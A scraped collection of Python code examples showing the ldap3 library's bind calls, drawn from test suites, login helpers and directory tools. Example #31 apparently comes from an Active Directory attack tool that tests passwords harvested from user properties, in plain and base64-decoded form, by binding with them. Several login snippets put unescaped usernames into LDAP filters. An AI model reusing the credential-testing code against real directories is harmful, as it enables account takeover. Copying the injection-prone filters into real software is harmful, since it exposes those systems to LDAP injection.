예제 #1
1
파일: testTls.py 프로젝트: acaso/ldap3
 def test_open_with_tls_after_bind(self):
     if isinstance(test_server, (list, tuple)):
         server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust)
         for host in test_server:
             server.add(Server(host=host, port=test_port, allowed_referral_hosts=('*', True), get_info=test_get_info, mode=test_server_mode))
     else:
         server = Server(host=test_server, port=test_port, tls=Tls())
     connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication, lazy=test_lazy_connection, pool_name='pool1')
     connection.open()
     connection.bind()
     connection.start_tls()
     self.assertTrue(connection.bound)
     connection.unbind()
     if connection.strategy.pooled:
         connection.strategy.terminate()
     self.assertFalse(connection.bound)
예제 #2
1
def _checkInLdap(reg, dni, uid):
    logging.info('Conectandose al server ldap en {}'.format(reg.get('ldap_server')))
    from ldap3 import Server, Connection, ALL_ATTRIBUTES
    s = Server(reg.get('ldap_server'))
    conn = Connection(s, user=reg.get('ldap_user'), password=reg.get('ldap_password'))
    conn.bind()
    try:
        logging.info('buscando usuario con uid = {}'.format(uid))
        if not conn.search('ou=people,dc=econo', '(|(uid={})(uid={}))'.format(uid, dni), attributes=ALL_ATTRIBUTES):
            logging.info('No existe información de ese usuario dentro del ldap')
            return None

        for e in conn.entries:
            logging.info(e.entry_get_dn())
            logging.info(e)

    finally:
        conn.unbind()
예제 #3
0
    class Test(unittest.TestCase):
        def setUp(self):
            schema = SchemaInfo.from_json(edir_8_8_8_schema)
            info = DsaInfo.from_json(edir_8_8_8_dsa_info, schema)
            server = Server.from_definition('MockSyncServer', info, schema)
            self.connection = Connection(server, user='******', password='******', client_strategy=MOCK_SYNC)

        def tearDown(self):
            self.connection.unbind()
            self.assertFalse(self.connection.bound)

        def test_open(self):
            self.connection.open()
            self.assertFalse(self.connection.closed)

        def test_bind(self):
            self.connection.open()
            self.connection.bind()
            self.assertTrue(self.connection.bound)

        def test_unbind(self):
            self.connection.open()
            self.connection.bind()
            self.assertTrue(self.connection.bound)
            self.connection.unbind()
            self.assertFalse(self.connection.bound)
예제 #4
0
def authenticate(username, password):
    user = None

    # Initial connection to the LDAP server.
    server = Server(app.config['LDAP_URI'])
    connection = Connection(server)

    try:
        if not connection.bind(): return None

        # Verify that the user exists.
        result = connection.search(search_base=app.config['LDAP_SEARCH_BASE'],
                                   search_filter='(uid={})'.format(username),
                                   attributes=['mail', 'cn'])

        if not result: return None

        # The user exists!
        name = connection.response[0]['attributes']['cn'][0]
        email = connection.response[0]['attributes']['mail'][0]

        # Now attempt to re-bind and authenticate with the password.
        distinguished_name = connection.response[0]['dn']
        connection = Connection(server, user=distinguished_name,
                                password=password.encode('iso8859-1'))

        if not connection.bind(): return None

        # We're authenticated! Create the actual user object.
        user = User(id=username, name=name, email=email)

    finally:
        connection.unbind()
        return user
예제 #5
0
 def connection(self):
     if self._conn is None:
         server = Server(self.server_uri, use_ssl=self.use_ssl)
         conn = Connection(server, self.bind_dn, self.password)
         conn.bind()
         self._conn = conn
     return self._conn
예제 #6
0
 def test_ldapi(self):
     if test_server_type == 'SLAPD':
         server = Server('ldapi:///var/run/slapd/ldapi')
         connection = Connection(server, authentication=SASL, sasl_mechanism=EXTERNAL, sasl_credentials='')
         connection.open()
         connection.bind()
         self.assertTrue(connection.bound)
예제 #7
0
def _checkAndRemoveInLdap(reg, uid):
    '''
        chequea si existe un usuario y lo elimina
        obtiene el password y lo retorna
    '''
    logging.info('Conectandose al server ldap en {}'.format(reg.get('ldap_server')))
    from ldap3 import Server, Connection, ALL_ATTRIBUTES
    s = Server(reg.get('ldap_server'))
    conn = Connection(s, user=reg.get('ldap_user'), password=reg.get('ldap_password'))
    conn.bind()
    try:
        logging.info('buscando usuario con uid = {}'.format(uid))
        if not conn.search('ou=people,dc=econo', '(uid={})'.format(uid, uid), attributes=ALL_ATTRIBUTES):
            return None

        userPassword = None
        for e in conn.entries:
            logging.info(e.entry_get_dn())
            if 'userPassword' in e:
                userPassword = e.userPassword

            logging.info('Elimando : {}'.format(e.entry_get_dn()))
            conn.delete(e.entry_get_dn())

        return userPassword

    finally:
        conn.unbind()
예제 #8
0
 def test_ldapi_encoded_url(self):
     if test_server_type == 'SLAPD':
         server = Server('ldapi://%2Fvar%2Frun%2Fslapd%2Fldapi')
         connection = Connection(server, authentication=SASL, sasl_mechanism=EXTERNAL, sasl_credentials='')
         connection.open()
         connection.bind()
         self.assertTrue(connection.bound)
예제 #9
0
파일: models.py 프로젝트: Gitbbq/gfTicket
class ADServer(DomainSetting):
    class Meta:
        proxy = True

    connection = None
    authentication = NTLM

    def test_user_password(self, username, password):
        self.connection = Connection(self.dc_server,
                                     user=r'%s\%s' % (self.fqdn, username),
                                     password=password,
                                     authentication=self.authentication,
                                     read_only=True)
        result = self.connection.bind()
        self.connection.unbind()
        return result

    def connect_to_server(self, read_only=True, check_names=True):
        self.connection = Connection(self.dc_server,
                                     user=r'%s\%s' % (self.fqdn, self.connect_user),
                                     password=self.connect_pass,
                                     authentication=self.authentication,
                                     read_only=read_only,
                                     check_names=check_names)
        return self.connection

    def search_user(self, logon_name):
        if self.connection is None:
            self.connect_to_server()

        self.connection.bind()

        if logon_name is not None:
            search_filter = '(&(samAccountName=' + logon_name + '))'
            self.connection.search(search_base=self.search_base,
                                   search_filter=search_filter,
                                   search_scope=SUBTREE,
                                   attributes=ALL_ATTRIBUTES,
                                   get_operational_attributes=True)
            result = self.connection.entries
        else:
            result = None

        self.connection.unbind()
        return result

    def get_user(self, logon_name):
        try:
            return self.search_user(logon_name=logon_name)[0]
        except IndexError:
            return None
        except TypeError:
            return None

    def close_connect(self):
        if self.connection is not None:
            self.connection.unbind()
        self.connection = None
예제 #10
0
 def test_raises_size_limit_exceeded_exception(self):
     connection = Connection(self.server, user='******', password='******', client_strategy=MOCK_SYNC, raise_exceptions=True)
     # create fixtures
     connection.strategy.add_entry('cn=user1,ou=test', {'userPassword': '******', 'revision': 1})
     connection.strategy.add_entry('cn=user2,ou=test', {'userPassword': '******', 'revision': 2})
     connection.strategy.add_entry('cn=user3,ou=test', {'userPassword': '******', 'revision': 3})
     connection.bind()
     with self.assertRaises(LDAPSizeLimitExceededResult):
         connection.search('ou=test', '(cn=*)', size_limit=1)
예제 #11
0
 def test_bind_anonymous(self):
     server = Server(host=test_server, port=test_port)
     connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, authentication=AUTH_ANONYMOUS, lazy=False, pool_name='pool1')
     connection.open()
     connection.bind()
     self.assertTrue(connection.bound)
     connection.unbind()
     if connection.strategy_type == STRATEGY_REUSABLE_THREADED:
         connection.strategy.terminate()
     self.assertFalse(connection.bound)
예제 #12
0
 def test_bind_sasl_digest_md5(self):
     server = Server(host=test_server, port=test_port)
     connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, authentication=AUTH_SASL, sasl_mechanism='DIGEST-MD5', sasl_credentials=(None, 'testSasl.risorse', 'password', None), pool_name='pool1')
     connection.open()
     connection.bind()
     self.assertTrue(connection.bound)
     connection.unbind()
     if connection.strategy_type == STRATEGY_REUSABLE_THREADED:
         connection.strategy.terminate()
     self.assertFalse(connection.bound)
예제 #13
0
 def test_bind_ssl(self):
     server = Server(host=test_server, port=test_port_ssl, use_ssl=True)
     connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication, pool_name='pool1')
     connection.open()
     connection.bind()
     self.assertTrue(connection.bound)
     connection.unbind()
     if connection.strategy_type == STRATEGY_REUSABLE_THREADED:
         connection.strategy.terminate()
     self.assertFalse(connection.bound)
예제 #14
0
def get_fake_ldap_connection():
    server = Server('my_fake_server')
    connection = Connection(
        server,
        client_strategy=MOCK_SYNC
    )
    connection.bind()
    connection.strategy.add_entry(PETER[0], PETER[1])
    connection.strategy.add_entry(BILL[0], BILL[1])
    return connection
예제 #15
0
 def _connect(self, full_username, password):
     connection = Connection(
         self.url,
         user=full_username,
         password=password,
         authentication=SIMPLE,
         read_only=True,
         version=self.version
     )
     connection.bind()
     return connection
예제 #16
0
def auth(username, password):
    un_init = init_conf()
    ldap = ast.literal_eval(un_init['ldap'])
    # 后台录入的验证用户信息,连接到ldap后通过查询登陆的用户名所在的OU,DN信息,然后进一步去ldap服务器进行账户和密码验证。

    LDAP_SERVER = ldap['host']
    LDAP_DOMAIN = ldap['domain']
    LDAP_TYPE = ldap['type']
    LDAP_SCBASE = ldap['sc']

    if LDAP_TYPE == '1':
        user = username + '@' + LDAP_DOMAIN
    elif LDAP_TYPE == '2':
        user = "******" % (username, LDAP_SCBASE)
    else:
        user = "******" % (username, LDAP_SCBASE)
    c = ldap3.Connection(
        ldap3.Server(LDAP_SERVER, get_info=ldap3.ALL),
        user=user,
        password=password)
    ret = c.bind()
    if ret:
        if ldap['ou']:
            res = c.search(
                search_base=LDAP_SCBASE,
                search_filter='(cn={})'.format(username),
                search_scope=SUBTREE,
                attributes=['cn', 'uid', 'mail'],
            )
            if res:
                entry = c.response[0]
                dn = entry['dn']
                attr_dict = entry['attributes']

                # check password by dn
                try:
                    conn2 = Connection(ldap3.Server(LDAP_SERVER, get_info=ldap3.ALL), user=dn, password=password,
                                       check_names=True, lazy=False, raise_exceptions=False)
                    conn2.bind()
                    if conn2.result["description"] == "success":
                        print((True, attr_dict["mail"], attr_dict["cn"], attr_dict["uid"]))
                        c.unbind()
                        conn2.unbind()
                        return True
                    else:
                        print("auth fail")
                        return False
                except:
                    print("auth fail")
                    return False
        else:
            return True
    else:
        return False
예제 #17
0
    def test_ldap_start_tls(self, host, base_dn):
        server = Server(host, get_info=ALL)
        conn = Connection(server, user='******'.format(base_dn), password='******', raise_exceptions=True)
        conn.bind()

        assert conn.bound

        conn.start_tls()

        assert conn.tls_started

        conn.unbind()
예제 #18
0
    def test_ldapi_encoded_url(self):
        if test_server_type == 'SLAPD':
            try:
                server = Server('ldapi://%2Fvar%2Frun%2Fslapd%2Fldapi')
                connection = Connection(server, authentication=SASL, sasl_mechanism=EXTERNAL, sasl_credentials=('',))
                connection.open()
                connection.bind()
                self.assertTrue(connection.bound)
            except LDAPSocketOpenError:
                return

            self.assertTrue(False)
예제 #19
0
파일: c_locc.py 프로젝트: c-base/c_locc
def has_access(uid, pin):
    LOGGER.debug('Checking pin for user %s' % uid)
    if config.ldap_ssl:
        server = Server(config.ldap_host, port=config.ldap_port, use_ssl=True, get_info=ALL)
    elif config.ldap_starttls:
        tls_configuration = Tls(validate=CERT_REQUIRED, version=PROTOCOL_TLSv1_2)
        server = Server(config.ldap_host, port=config.ldap_port, tls=tls_configuration, get_info=ALL)
    else:
        server = Server(config.ldap_host, port=config.ldap_port, get_info=ALL)
    conn = Connection(server, user=config.ldap_user, password=config.ldap_pass)

    retries = 10
    for i in range(retries):
        try:
            conn.bind()
            break
        except LDAPSocketOpenError as e:
            crypt = 'SSL' if config.ldap_ssl else ('StartTLS' if config.ldap_starttls else 'PLAIN')
            LOGGER.warn('Connection to %s:%d (%s) could not be established: %s' % (config.ldap_host, config.ldap_port, crypt, e))
            if i < retries:
                sleep(10)
                continue
            else:
                LOGGER.fatal('Too many failed connection attempts (%d). Giving up now.' % retries)
                # TODO: send email to [email protected]
                sys.exit(1)

    if config.ldap_starttls:
        conn.start_tls()

    LOGGER.debug('Using server connection: %s' % conn)

    conn.search(search_base=config.ldap_search_base,
                search_filter=config.ldap_filter.format(uid),
                attributes=[config.ldap_pin_field, ])

    ret = False
    if len(conn.entries) == 1:
        ssha = str(conn.entries[0][config.ldap_pin_field])
        if not ssha.startswith('{SSHA}'):
            ret = uid == pin
        bd = b64decode(bytearray(ssha[6:], 'UTF-8'))
        hashv = bd[:20]
        salt = bd[20:]
        newhashv = sha1(bytearray(pin, 'UTF-8') + salt).digest()
        ret = hashv == newhashv

    conn.unbind()

    return ret
예제 #20
0
def get_ldap_connection(dn=None, password=None):
    try:
        cacert = configuration.conf.get("ldap", "cacert")
    except AirflowConfigException:
        pass

    try:
        ignore_malformed_schema = configuration.conf.get("ldap", "ignore_malformed_schema")
    except AirflowConfigException:
        pass

    if ignore_malformed_schema:
        set_config_parameter('IGNORE_MALFORMED_SCHEMA', ignore_malformed_schema)

    tls_configuration = Tls(validate=ssl.CERT_REQUIRED,
                            ca_certs_file=cacert)

    server = Server(configuration.conf.get("ldap", "uri"),
                    use_ssl=True,
                    tls=tls_configuration)

    conn = Connection(server, native(dn), native(password))

    if not conn.bind():
        log.error("Cannot bind to ldap server: %s ", conn.last_error)
        raise AuthenticationError("Cannot bind to ldap server")

    return conn
예제 #21
0
def load_user_info(username):
    user = None

    # Initial connection to the LDAP server.
    server = Server(app.config['LDAP_URI'])
    connection = Connection(server)

    try:
        if not connection.bind(): return None

        # Verify that the user exists.
        result = connection.search(search_base=app.config['LDAP_SEARCH_BASE'],
                                   search_filter='(uid={})'.format(username),
                                   attributes=['mail', 'cn'])

        if not result: return None

        # The user exists!
        name = connection.response[0]['attributes']['cn'][0]
        email = connection.response[0]['attributes']['mail'][0]
        user = User(username, name, email)

    finally:
        connection.unbind()
        return user
class LDAP:
    _server = None
    _conn = None

    @staticmethod
    def append_if_not_in(target, faculty):
        if not faculty in target:
            target.append(faculty)

    def __init__(self):
        self._server = Server('centaur.unimelb.edu.au')
        self._conn = Connection(self._server)
        if not self._conn.bind():
            raise Exception('Could not bind to ldap server')

    def find_department(self, email):
        if email is None:
            return None, None
        if 'unimelb' not in email:
            return 'External', None
        query = '(&(objectclass=person)(mail=%s))' % email
        self._conn.search('o=unimelb', query,
                          attributes=['department', 'departmentNumber',
                                      'auEduPersonSubType', 'displayName'])
        if len(self._conn.entries) == 0:
            return None, None
        department_no = []
        for entry in self._conn.entries:
            if hasattr(entry, 'departmentNumber'):
                department_no.extend(entry.departmentNumber)
        return Faculties.get_from_departments(department_no)

    def __del__(self):
        self._conn.unbind()
예제 #23
0
	def _authenticate(self,username,password,login=False):
		server_options = {
		 'host': repr(self._settings.host),
		 'use_ssl': self._settings.ssl.value,
		 'get_info': ALL
		}
		if self._settings.port.value != None:
			server_options['port'] = self._settings.port.value

		server = Server(**server_options)
		conn = Connection(server, user=username,password=password,auto_referrals=False,raise_exceptions=True)
		result = False
		try:
			result = conn.bind()
		except self._exceptions.LDAPSocketOpenError:
			raise self._exceptions.InvalidServer
		except self._exceptions.LDAPInvalidCredentialsResult:
			raise self._exceptions.InvalidCredentials


		if self._settings.port.value == None:
			self._settings.port = conn.server.port

		if login:
			if result == False:
				raise self._exceptions.InvalidCredentials
			if self._settings.basedn == None:
				self._settings.basedn = conn.server.info.raw['defaultNamingContext'][0].decode('utf-8') #fix to convert byte to string
			return conn
		return result
예제 #24
0
파일: testTls.py 프로젝트: acaso/ldap3
 def test_sasl_with_external_certificate(self):
     tls = Tls(local_private_key_file=test_user_key_file, local_certificate_file=test_user_cert_file, validate=ssl.CERT_REQUIRED, version=ssl.PROTOCOL_TLSv1, ca_certs_file=test_ca_cert_file, valid_names=test_valid_names)
     if isinstance(test_server, (list, tuple)):
         server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust)
         for host in test_server:
             server.add(Server(host=host, port=test_port_ssl, use_ssl=True, tls=tls, allowed_referral_hosts=('*', True), get_info=test_get_info, mode=test_server_mode))
     else:
         server = Server(host=test_server, port=test_port_ssl, use_ssl=True, tls=tls)
     connection = Connection(server, auto_bind=False, version=3, client_strategy=test_strategy, authentication=SASL, sasl_mechanism='EXTERNAL')
     connection.open()
     connection.bind()
     self.assertTrue(connection.bound)
     connection.unbind()
     if connection.strategy.pooled:
         connection.strategy.terminate()
     self.assertFalse(connection.bound)
예제 #25
0
파일: testTls.py 프로젝트: cfelder/ldap3
 def test_bind_ssl_cert_none(self):
     if test_strategy not in [MOCK_SYNC, MOCK_ASYNC]:
         tls = Tls(validate=ssl.CERT_NONE)
         if isinstance(test_server, (list, tuple)):
             server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust)
             for host in test_server:
                 server.add(Server(host=host, port=test_port, allowed_referral_hosts=('*', True), get_info=test_get_info, mode=test_server_mode))
         else:
             server = Server(host=test_server, port=test_port_ssl, use_ssl=True, tls=tls)
         connection = Connection(server, auto_bind=False, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication)
         connection.open()
         connection.bind()
         self.assertTrue(connection.bound)
         connection.unbind()
         if connection.strategy.pooled:
             connection.strategy.terminate()
         self.assertFalse(connection.bound)
예제 #26
0
파일: api.py 프로젝트: kuacuia/jumpserver
    def post(self, request):
        serializer = self.serializer_class(data=request.data)
        if serializer.is_valid():
            host = serializer.validated_data["AUTH_LDAP_SERVER_URI"]
            bind_dn = serializer.validated_data["AUTH_LDAP_BIND_DN"]
            password = serializer.validated_data["AUTH_LDAP_BIND_PASSWORD"]
            use_ssl = serializer.validated_data.get("AUTH_LDAP_START_TLS", False)
            search_ou = serializer.validated_data["AUTH_LDAP_SEARCH_OU"]
            search_filter = serializer.validated_data["AUTH_LDAP_SEARCH_FILTER"]
            attr_map = serializer.validated_data["AUTH_LDAP_USER_ATTR_MAP"]

            print(serializer.validated_data)

            try:
                attr_map = json.loads(attr_map)
            except json.JSONDecodeError:
                return Response({"error": "AUTH_LDAP_USER_ATTR_MAP not valid"}, status=401)

            server = Server(host, use_ssl=use_ssl)
            conn = Connection(server, bind_dn, password)
            try:
                conn.bind()
            except Exception as e:
                return Response({"error": str(e)}, status=401)

            print(search_ou)
            print(search_filter % ({"user": "******"}))
            print(attr_map.values())
            ok = conn.search(search_ou, search_filter % ({"user": "******"}),
                             attributes=list(attr_map.values()))
            if not ok:
                return Response({"error": "Search no entry matched"}, status=401)

            users = []
            for entry in conn.entries:
                user = {}
                for attr, mapping in attr_map.items():
                    if hasattr(entry, mapping):
                        user[attr] = getattr(entry, mapping)
                users.append(user)
            if len(users) > 0:
                return Response({"msg": "Match {} s users".format(len(users))})
            else:
                return Response({"error": "Have user but attr mapping error"}, status=401)
        else:
            return Response({"error": str(serializer.errors)}, status=401)
예제 #27
0
파일: user.py 프로젝트: LibrIT/passhport
def try_ldap_login(login, password):
    """ Connect to a LDAP directory to verify user login/passwords"""
    result = "Wrong login/password"
    s = Server(config.LDAPURI, port=config.LDAPPORT,
               use_ssl=False, get_info=ALL)
    # 1. connection with service account to find the user uid
    uid = useruid(s, login)
   
    if uid: 
        # 2. Try to bind the user to the LDAP
        c = Connection(s, user = uid , password = password, auto_bind = True)
        c.open()
        c.bind()
        result =  c.result["description"] # "success" if bind is ok
        c.unbind()

    return result
예제 #28
0
class Test(unittest.TestCase):
    def setUp(self):
        server = Server(host=test_server, port=test_port, allowed_referral_hosts=('*', True))
        self.connection = Connection(server, version=3, client_strategy=test_strategy, user=test_user, password=test_password, authentication=test_authentication, lazy=test_lazy_connection, pool_name='pool1')

    def tearDown(self):
        self.connection.unbind()
        if self.connection.strategy_type == STRATEGY_REUSABLE_THREADED:
            self.connection.strategy.terminate()
        self.assertFalse(self.connection.bound)

    def test_open_connection(self):
        self.connection.open()
        self.assertEquals(self.connection.closed, False)
        self.connection.unbind()
        if self.connection.strategy_type == STRATEGY_REUSABLE_THREADED:
            self.connection.strategy.terminate()
        self.assertEquals(self.connection.closed, True)
        self.assertEquals(self.connection.bound, False)

    def test_bind_connection(self):
        self.connection.open()
        self.assertEquals(self.connection.closed, False)
        self.connection.bind()
        self.assertEquals(self.connection.bound, True)
        self.connection.unbind()
        if self.connection.strategy_type == STRATEGY_REUSABLE_THREADED:
            self.connection.strategy.terminate()
        self.assertEquals(self.connection.closed, True)
        self.assertEquals(self.connection.bound, False)

    def test_connection_in_context(self):
        with self.connection:
            self.assertEquals(self.connection.closed, False)
            self.assertEquals(self.connection.bound, True)

        self.assertEquals(self.connection.closed, True)
        self.assertEquals(self.connection.bound, False)

    def test_connection_in_context_with_as(self):
        with self.connection as c:
            self.assertEquals(c.closed, False)
            self.assertEquals(c.bound, True)

        self.assertEquals(self.connection.closed, True)
        self.assertEquals(self.connection.bound, False)
예제 #29
0
파일: wis.py 프로젝트: haouach/smsgateway
    def checkpassword(self, **params):
        username = cherrypy.request.params.get('username').lower()
        password = cherrypy.request.params.get('password')

        # check if password is empty
        if not password:
            smsgwglobals.wislogger.debug("FRONT: No password on login")
            raise cherrypy.HTTPRedirect("/smsgateway")

        # check if username is valid
        if not username:
            smsgwglobals.wislogger.debug("FRONT: No username on login")
            raise cherrypy.HTTPRedirect("/smsgateway")

        if len(username) > wisglobals.validusernamelength:
            smsgwglobals.wislogger.debug("FRONT: Username to long on login")
            raise cherrypy.HTTPRedirect("/smsgateway")

        if (re.compile(wisglobals.validusernameregex).findall(username)):
            smsgwglobals.wislogger.debug("FRONT: Username is not valid login")
            raise cherrypy.HTTPRedirect("/smsgateway")

        if 'root' in username:
            smsgwglobals.wislogger.debug("FRONT: ROOT Login " + username)
            try:
                if Helper.checkpassword(username, password) is True:
                    cherrypy.session['logon'] = True
                    raise cherrypy.HTTPRedirect("/smsgateway/main")
                else:
                    raise cherrypy.HTTPRedirect("/smsgateway")
            except error.UserNotFoundError:
                raise cherrypy.HTTPRedirect("/smsgateway")
        else:
            try:
                smsgwglobals.wislogger.debug("FRONT: Ldap Login " + username)
                if wisglobals.ldapenabled is None or 'true' not in wisglobals.ldapenabled.lower():
                    smsgwglobals.wislogger.debug("FRONT: Ldap Login disabled " + username)
                    raise cherrypy.HTTPRedirect("/smsgateway")

                smsgwglobals.wislogger.debug("FRONT: Ldap Login " + username)
                smsgwglobals.wislogger.debug("FRONT: Ldap Users " + str(wisglobals.ldapusers))
                if username not in wisglobals.ldapusers:
                    smsgwglobals.wislogger.debug("FRONT: Ldap username not in ldapusers")
                    raise cherrypy.HTTPRedirect("/smsgateway")

                smsgwglobals.wislogger.debug("FRONT: Ldap Server " + wisglobals.ldapserver)
                s = Server(wisglobals.ldapserver, get_info=ALL)
                userdn = 'cn=' + username + ',' + wisglobals.ldapbasedn
                c = Connection(s, user=userdn, password=password)

                if c.bind():
                    smsgwglobals.wislogger.debug("FRONT: Ldap login successful " + username)
                    cherrypy.session['logon'] = True
                    raise cherrypy.HTTPRedirect("/smsgateway/main")
                else:
                    raise cherrypy.HTTPRedirect("/smsgateway")
            except error.UserNotFoundError:
                raise cherrypy.HTTPRedirect("/smsgateway")
예제 #30
0
def test_auth(username, password, host, type, sc, domain, ou):
    if type == '1':
        user = username + '@' + domain
    elif type == '2':
        user = "******" % (username, sc)
    else:
        user = "******" % (username, sc)
    c = ldap3.Connection(
        ldap3.Server(host, get_info=ldap3.ALL),
        user=user,
        password=password)
    ret = c.bind()
    if ret:
        if ou:
            res = c.search(
                search_base=sc,
                search_filter='(cn={})'.format(username),
                search_scope=SUBTREE,
                attributes=['cn', 'uid', 'mail'],
            )
            if res:
                entry = c.response[0]
                dn = entry['dn']
                attr_dict = entry['attributes']

                # check password by dn
                try:
                    conn2 = Connection(ldap3.Server(host, get_info=ldap3.ALL), user=dn, password=password,
                                       check_names=True, lazy=False, raise_exceptions=False)
                    conn2.bind()
                    if conn2.result["description"] == "success":
                        print((True, attr_dict["mail"], attr_dict["cn"], attr_dict["uid"]))
                        c.unbind()
                        conn2.unbind()
                        return True
                    else:
                        print("auth fail")
                        return False
                except:
                    print("auth fail")
                    return False
        else:
            return True
    else:
        return False
예제 #31
0
    def entroPass(self, user, password):
        if not password:
            return None
        # First check if it is a clear text
        dc_test_conn = Server(self.server, get_info=ALL)
        test_conn = Connection(dc_test_conn, user=user, password=password)
        test_conn.bind()
        # Validate the login (bind) request
        if int(test_conn.result['result']) != 0:
            if self.CREDS:
                print(
                    '[ ' + colored('INFO', 'yellow') +
                    ' ] User: "******" with: "{1}" as possible clear text password'
                    .format(user, password))
            else:
                print('[ ' + colored('INFO', 'green') +
                      ' ] User: "******" with: "{1}" was not cleartext'.format(
                          user, password))
        else:
            if self.CREDS:
                print(
                    '[ ' + colored('INFO', 'yellow') +
                    ' ] User: "******" had cleartext password of: "{1}" in a property'
                    .format(user, password))
            else:
                print(
                    '[ ' + colored('OK', 'yellow') +
                    ' ] User: "******" had cleartext password of: "{1}" in a property - continuing with these creds'
                    .format(user, password))
                print('')
                return user, password

        test_conn.unbind()

        # Attempt for base64
        # Could be base64, lets try
        try:
            pw = base64.b64decode(bytes(password,
                                        encoding='utf-8')).decode('utf-8')
        except base64.binascii.Error:
            return None

        # Attempt decoded PW
        dc_test_conn = Server(self.server, get_info=ALL)
        test_conn = Connection(dc_test_conn, user=user, password=pw)
        test_conn.bind()
        # Validate the login (bind) request
        if int(test_conn.result['result']) != 0:
            if self.CREDS:
                print(
                    '[ ' + colored('INFO', 'yellow') +
                    ' ] User: "******" with: "{1}" as possible base64 decoded password'
                    .format(user, pw))
            else:
                print('[ ' + colored('INFO', 'green') +
                      ' ] User: "******" with: "{1}" was not base64 encoded'.
                      format(user, pw))
        else:
            if self.CREDS:
                print(
                    '[ ' + colored('INFO', 'yellow') +
                    ' ] User: "******" had base64 encoded password of: "{1}" in a property'
                    .format(user, pw))
            else:
                print(
                    '[ ' + colored('OK', 'yellow') +
                    ' ] User: "******" had base64 encoded password of: "{1}" in a property - continuing with these creds'
                    .format(user, pw))
                print('')
                return user, pw
예제 #32
0
def main():
    parser = argparse.ArgumentParser(
        description=
        'Domain information dumper via LDAP. Dumps users/computers/groups and OS/membership information to HTML/JSON/greppable output.'
    )
    parser._optionals.title = "Main options"
    parser._positionals.title = "Required options"

    #Main parameters
    #maingroup = parser.add_argument_group("Main options")
    parser.add_argument(
        "host",
        type=str,
        metavar='HOSTNAME',
        help=
        "Hostname/ip or ldap://host:port connection string to connect to (use ldaps:// to use SSL)"
    )
    parser.add_argument(
        "-u",
        "--user",
        type=str,
        metavar='USERNAME',
        help=
        "DOMAIN\\username for authentication, leave empty for anonymous authentication"
    )
    parser.add_argument(
        "-p",
        "--password",
        type=str,
        metavar='PASSWORD',
        help="Password or LM:NTLM hash, will prompt if not specified")
    parser.add_argument(
        "-at",
        "--authtype",
        type=str,
        choices=['NTLM', 'SIMPLE'],
        default='NTLM',
        help="Authentication type (NTLM or SIMPLE, default: NTLM)")

    #Output parameters
    outputgroup = parser.add_argument_group("Output options")
    outputgroup.add_argument(
        "-o",
        "--outdir",
        type=str,
        metavar='DIRECTORY',
        help="Directory in which the dump will be saved (default: current)")
    outputgroup.add_argument("--no-html",
                             action='store_true',
                             help="Disable HTML output")
    outputgroup.add_argument("--no-json",
                             action='store_true',
                             help="Disable JSON output")
    outputgroup.add_argument("--no-grep",
                             action='store_true',
                             help="Disable Greppable output")
    outputgroup.add_argument(
        "--grouped-json",
        action='store_true',
        default=False,
        help="Also write json files for grouped files (default: disabled)")
    outputgroup.add_argument(
        "-d",
        "--delimiter",
        help="Field delimiter for greppable output (default: tab)")

    #Additional options
    miscgroup = parser.add_argument_group("Misc options")
    miscgroup.add_argument(
        "-r",
        "--resolve",
        action='store_true',
        help=
        "Resolve computer hostnames (might take a while and cause high traffic on large networks)"
    )
    miscgroup.add_argument(
        "-n",
        "--dns-server",
        help=
        "Use custom DNS resolver instead of system DNS (try a domain controller IP)"
    )

    args = parser.parse_args()
    #Create default config
    cnf = domainDumpConfig()
    #Dns lookups?
    if args.resolve:
        cnf.lookuphostnames = True
    #Custom dns server?
    if args.dns_server is not None:
        cnf.dnsserver = args.dns_server
    #Custom separator?
    if args.delimiter is not None:
        cnf.grepsplitchar = args.delimiter
    #Disable html?
    if args.no_html:
        cnf.outputhtml = False
    #Disable json?
    if args.no_json:
        cnf.outputjson = False
    #Disable grep?
    if args.no_grep:
        cnf.outputgrep = False
    #Custom outdir?
    if args.outdir is not None:
        cnf.basepath = args.outdir
    #Do we really need grouped json files?
    cnf.groupedjson = args.grouped_json

    #Prompt for password if not set
    authentication = None
    if args.user is not None:
        if args.authtype == 'SIMPLE':
            authentication = 'SIMPLE'
        else:
            authentication = NTLM
        if not '\\' in args.user:
            log_warn('Username must include a domain, use: DOMAIN\\username')
            sys.exit(1)
        if args.password is None:
            args.password = getpass.getpass()
    else:
        log_info(
            'Connecting as anonymous user, dumping will probably fail. Consider specifying a username/password to login with'
        )
    # define the server and the connection
    s = Server(args.host, get_info=ALL)
    log_info('Connecting to host...')
    c = Connection(s,
                   user=args.user,
                   password=args.password,
                   authentication=authentication)
    log_info('Binding to host')
    # perform the Bind operation
    if not c.bind():
        log_warn('Could not bind with specified credentials')
        log_warn(c.result)
        sys.exit(1)
    log_success('Bind OK')
    log_info('Starting domain dump')
    #Create domaindumper object
    dd = domainDumper(s, c, cnf)

    #Do the actual dumping
    dd.domainDump()
    log_success('Domain dump finished')
예제 #33
0
파일: add-entity.py 프로젝트: user2595/LDAP
# import class and constants
from ldap3 import Server, Connection, ALL

# define the server

s = Server(host='yourhostname.com', port=389, use_ssl=False, get_info='ALL')

# define the connection
c = Connection(s, user='******', password='******', version=3, authentication='SIMPLE', client_strategy='SYNC', read_only=False, raise_exceptions=True)

if not c.bind():
    print('error in binding', c.result)
else:
    print('Bind is successful!!')

result = c.add(‘c=au,dc=yourhostname,dc=com’, [‘country’, ‘top’], {‘c’:’au’} )


print("Result of ADD: ",c.result)

c.unbind()

print("Unbinded successful!!")
예제 #34
0
def connect(server, user, password):
    s = Server(server, get_info=ALL)
    c = Connection(s, user=user, password=password)
    c.bind()
    return c
예제 #35
0
class LdapManager():
    dns_node_attrs = ['dn', 'dc', 'name', 'dnsRecord', 'dNSTombstoned']
    """
    This method allows the use of nt passwords as well as hashes in the format lmhash:nthash
    """
    def __init__(self,
                 server,
                 port=389,
                 ssl=False,
                 kerberos=False,
                 ntuser=None,
                 ntpass=None):
